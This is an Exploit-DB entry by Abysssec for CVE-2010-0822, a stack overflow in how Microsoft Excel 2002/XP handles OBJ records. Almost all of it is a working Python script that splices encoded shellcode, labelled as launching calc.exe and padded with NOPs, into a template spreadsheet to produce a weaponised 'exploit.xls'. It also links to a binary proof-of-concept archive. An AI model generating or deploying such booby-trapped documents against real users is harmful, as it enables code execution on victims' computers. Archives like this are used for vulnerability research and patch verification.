Microsoft Excel - OBJ Record Stack Overflow

EDB-ID:

15094

Author:

Abysssec

Type:

local

Platform:

Windows

Published:

2010-09-24

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/15094.zip (moaub-24-excel-exploit.zip)
'''

'''
  
  Title               :  Microsoft Excel OBJ Record Stack Overflow
  Version             :  Excell 2002 and XP (SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0822

'''


import sys

def main():
   
    try:
		fdR = open('src.xls', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:36640]
		str2 = strTotal[37440:]
				
		# shellcode calc.exe
		shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'
		
		if len(shellcode) > 800:
			print "[*] Error : Shellcode length is long"
			return
		if len(shellcode) <= 800:
			dif = 800 - len(shellcode)
			while dif > 0 :
				shellcode += '\x90'
				dif = dif - 1
				
		fdW= open('exploit.xls', 'wb+')
		fdW.write(str1)		
		fdW.write(shellcode)
		fdW.write(str2)
		
		fdW.close()
		fdR.close()
		print '[-] Excel file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()